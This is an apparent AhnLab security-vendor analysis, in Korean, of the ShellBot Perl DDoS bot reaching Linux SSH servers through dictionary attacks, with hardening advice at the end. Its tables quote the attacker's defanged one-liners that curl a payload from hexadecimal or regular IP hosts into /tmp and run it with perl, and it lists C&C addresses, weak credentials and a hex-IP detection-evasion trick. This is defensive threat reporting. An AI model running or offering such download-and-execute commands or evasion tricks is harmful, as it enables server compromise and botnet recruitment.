셸봇 악성코드의 최신 유포 방식은?
안랩은 취약한 리눅스 SSH 서버에 설치되고 있는 셸봇(ShellBot) 악성코드의 유포 방식이 변경된 것을 확인했다. 전체적인 흐름은 기존과 동일하지만, 공격자가 셸봇을 설치할 때 사용하는 다운로드 주소가 16진수 값으로 변경됐다. 해당 악성코드의 최신 유포 방식을 자세히 살펴보자.

최근 확인된 셸봇 악성코드 다운로드 주소는 다음과 같다.
hxxp://0x2763da4e/dred
hxxp://0x74cc54bd/static/home/dred/dred
일반적으로 IP 주소는 ‘점–10진수 표기법(Dot-decimal notation)’ 방식이다. 공격자들 또한 C&C 주소나 다운로드, 피싱 URL의 주소를 ‘hxxp://94.250.254[.]43/’ 형태로 사용한다. 하지만 IP 주소는 이 외에도 10진수 또는 16진수로 표현할 수 있으며, 대다수 웹 브라우저에서도 이런 표기법을 지원한다.
이 점으로 인해 공격자들은 URL 진단을 우회하고자 다양한 방식으로 표기된 URL을 사용해 왔다. 과거 피싱 PDF 악성코드를 제작할 때에도 10진수 주소를 사용한 바 있다. [1] 이 피싱 PDF 악성코드는 ‘hxxp://1593507371’이라는 URL을 포함하고 있었으며, 이를 ‘점-10진수 표기법’으로 표현하면 ‘hxxp://94.250.254[.]43/’가 된다.

[그림 1] 피싱 PDF 악성코드에 포함된 악성 URL
피싱 PDF의 URL을 클릭하면 ‘hxxp://1593507371’ 주소로 이동한다. 해당 주소의 결과 창은 ‘hxxp://94.250.254[.]43/’ 주소로 접속했을 때와 같다. 공격자는 악성 URL 탐지를 우회하기 위해 이와 같은 10진수 방식의 IP 주소를 URL로 사용했으며, 사용자가 접속할 경우 실제 다양한 피싱 사이트로 리다이렉트되었다.

[그림 2] 과거 PDF 링크 클릭 시 리다이렉트되는 주소
공격자들은 22번 포트, 즉 SSH 서비스가 동작하는 시스템들을 스캐닝 한 후 SSH 서비스가 동작 중인 시스템을 찾아 흔하게 사용되는 SSH 계정 정보 목록을 이용해 사전 공격을 수행한다. 로그인에 성공하면 다양한 악성코드를 설치할 수 있다.
펄봇(PerlBot)이라고도 불리는 셸봇은 펄 언어로 개발된 디도스 봇(DDoS Bot) 악성코드로, C&C 서버와 IRC 프로토콜을 사용해 통신한다. 셸봇은 꾸준히 사용되는 오래된 악성코드로, 최근까지도 다수의 리눅스 시스템을 노린 공격에 사용되고 있다. 안랩은 과거부터 공격지(Attack Source) 주소와 다운로드 및 C&C 주소를 지속적으로 탐지 및 대응해오고 있다.
최근까지도 유포 중인 셸봇 악성코드로는 ‘DDoS PBot v2.0’ 유형이 이다. 이 악성코드를 사용하는 특정 공격자는 악성코드 설치 시 지속적으로 ‘dred’라는 이름을 사용한다.

[그림 3] DDoS PBot v2.0의 초기 루틴
|
파일명 |
설치 명령 |
C&C 주소 |
IRC 채널 |
|
dred |
uname -a;lspci | grep -i –color ‘vga|3d|2d’;curl -s -L hxxp://39.107.61[.]230/dred -o /tmp/dred;perl /tmp/dred |
192.3.141[.]163:6667 |
#new |
|
dred |
uname -a;lspci | grep -i –color ‘vga|3d|2d’;curl -s -L hxxp://39.165.53[.]17:8088/iposzz/dred -o /tmp/dred;perl /tmp/dred |
192.3.141[.]163:6667 |
#bigfalus |
[표 1] 과거 셸봇 설치에 사용된 명령 및 C&C 정보
|
명령 (분류) |
설명 |
|
system |
감염 시스템 정보 출력 |
|
version |
버전 정보 출력 |
|
channel |
IRC 제어 명령들 |
|
flood |
DDoS 명령들 |
|
utils |
공격 명령들 |
[표 2] DDoS PBot v2.0이 지원하는 기능들
2023년 9월에는 동일한 공격자가 기존의 ‘점–10진수 표기법’이 아닌 16진수 형태의 IP 주소를 사용해 셸봇을 설치 중인 정황이 확인됐다. [표 3]은 실제 해당 공격을 수행한 공격지 주소와 공격에 사용된 ID / Password 목록의 일부이다.
|
ID |
Password |
공격지 주소 |
|
admin |
admin |
61.242.178[.]220 |
|
root |
!Q2w3e4r |
135.125.240[.]201 |
|
cloud |
cloud |
124.222.211[.]66 |
|
root |
root123 |
31.145.142[.]206 |
|
postgres |
postgres |
175.178.157[.]198 |
|
root |
Passw0rd |
123.6.5[.]229 |
[표 3] 셸봇 공격자가 사용한 계정 정보 및 공격지 주소
공격자는 로그인에 성공한 이후 [표 4]의 명령들을 이용해 셸봇을 설치했다. 과거 사례와 비교하면 명령 자체는 동일하며, 16진수 값이 IP 주소로 사용된 점이 다르다.
|
파일명 |
설치 명령 |
C&C 주소 |
IRC 채널 |
|
dred |
uname -a;lspci | grep -i –color ‘vga|3d|2d’;curl -s -L hxxp://0x2763da4e/dred -o /tmp/dred;perl /tmp/dred |
192.3.141[.]163:6667 |
#new |
|
dred |
uname -a;lspci | grep -i –color ‘vga|3d|2d’;curl -s -L hxxp://0x74cc54bd/static/home/dred/dred -o /tmp/dred;perl /tmp/dred |
N/A |
N/A |

[그림 4] DDoS PBot v2.0의 설정 정보

[그림 5] 16진수 IP 주소를 지원하는 curl
따라서 보안 관리자는 계정의 비밀번호를 추측하기 어려운 형태로 사용하고 주기적으로 변경해 무차별 대입 공격과 사전 공격으로부터 리눅스 서버를 보호해야 하며, 최신 버전으로 패치해 취약점 공격을 방지해야 한다. 또한, 방화벽 등 보안 제품을 통해 외부에 공개된 접근 가능한 서버에 대한 공격자의 접근을 통제해야 한다. 마지막으로 V3를 최신 버전으로 업데이트해 악성코드 감염을 사전에 차단할 수 있도록 조치해야 한다.

[그림 6] AhnLab TIP의 Thread IOC 페이지
- AhnLab콘텐츠기획팀